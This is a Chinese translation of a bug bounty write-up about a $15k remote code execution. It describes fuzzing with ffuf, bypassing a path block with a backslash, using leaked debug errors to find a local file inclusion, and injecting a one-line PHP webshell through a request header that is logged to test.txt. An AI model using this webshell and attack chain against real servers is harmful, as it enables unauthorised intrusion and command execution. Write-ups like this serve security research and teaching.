通过监控调试模式实现1.5万美元的远程代码执行漏洞挖掘

$15k RCE Through Monitoring Debug Mode

你是否遇到过这样的端点:直觉告诉你它存在漏洞,但却无法理解后端发生了什么或如何利用它?在本报告中,我将带你了解一个将我的黑盒测试转变为半白盒测试的技术。这种方法最终导致了多个漏洞的发现,并实现了系统的远程代码执行。

发现端点

在阅读某个JavaScript文件时,我发现了一个名为ExtraServices的端点。我立即在Burp Repeater中请求该端点,但返回了404状态码——不过这个404与主机通常返回的略有不同。我猜测可能是不同的主机,于是开始使用ffuf进行模糊测试:

ffuf -c -w <(cat customwordlist.txt) -u https://company.com/Extraserivce/FUZZ

这里的<()语法称为进程替换,允许程序从stdin读取输入。我经常在模糊测试时使用它,因为可以动态调整词表。

例如,如果你发现类似api/users/:user:id的端点,想转储所有用户ID,可以直接使用:

ffuf -c -w <(seq 1 1337) -u https://company.com/api/users/FUZZ

回到ExtraService端点,模糊测试没有结果。几小时后,我发现之前可用的端点现在都返回自定义404响应——这表明开发者实现了某些功能来屏蔽端点。通过在路径前添加反斜杠(如/\purl/test),我成功绕过了这个限制。

发现关键端点callAny

重新对ExtraService端点进行模糊测试后,我发现了一个名为callAny的有趣端点。基于名称和响应,我猜测这个端点可能接收参数并通过call_user_funceval等函数执行代码。

我尝试了各种注入方式:

  • GET/POST参数如FUZZ=phpinfo
  • 直接POST请求体注入<?php phpinfo(); ?>
  • SSRF/LFI测试

但都没有成功。

利用调试模式获取后端信息

几天后,我在测试其他功能时收到了错误提示——这表明开发者意外在生产环境开启了调试模式。虽然很快被关闭,但我决定监控这个端点,准备在下次调试模式开启时捕获错误详情。

通过设置监控,我在Discord频道收到了三个关键错误:

Warning: Undefined array key "Model"...
Warning: Undefined array key "Method"...
Warning: include_once(Models/): Failed to open stream...

现在漏洞很明显了:开发者使用Model参数包含特定模型文件,然后通过Method参数触发模型中的方法。这实际上是一个本地文件包含(LFI)漏洞!

从LFI升级到RCE

我最喜欢的LFI转RCE方法是通过PHP过滤器链,但由于无法控制文件开头部分,我不得不采用其他方法。尝试了日志污染、PHP会话注入、读取/proc/self/environ等方法无果后,我决定模糊测试web目录。

在测试中,我意外发现test.txt文件存储了X-ORIGINAL_URL端点的完整HTTP请求。于是我在请求头中注入webshell:

T: <?php system($_GET['cmd-old']); ?>

然后成功执行了ls命令作为概念验证。
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
公众号二维码

posted @ 2025-07-25 17:17  qife  阅读(8)  评论(0)    收藏  举报